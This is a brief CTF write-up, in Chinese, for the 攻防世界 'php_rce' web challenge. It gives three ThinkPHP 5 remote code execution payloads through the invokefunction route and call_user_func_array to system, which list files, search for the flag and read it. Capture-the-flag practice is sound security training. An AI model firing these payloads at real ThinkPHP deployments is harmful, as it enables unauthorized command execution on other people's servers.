攻防世界-web-高手进阶区003-php_rce

Posted 2021-03-06 joker0xxx3

1.thinkphp5 rce漏洞，构造payload，

?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("ls");%27

 

 

 

2.寻找flag

?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("find / -name \'flag\'");%27

 

 

 

3.查看flag

?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat ../../../flag");%27

 

 

 

4.漏洞详情可查看，https://blog.csdn.net/qq_40884727/article/details/101452478

 

---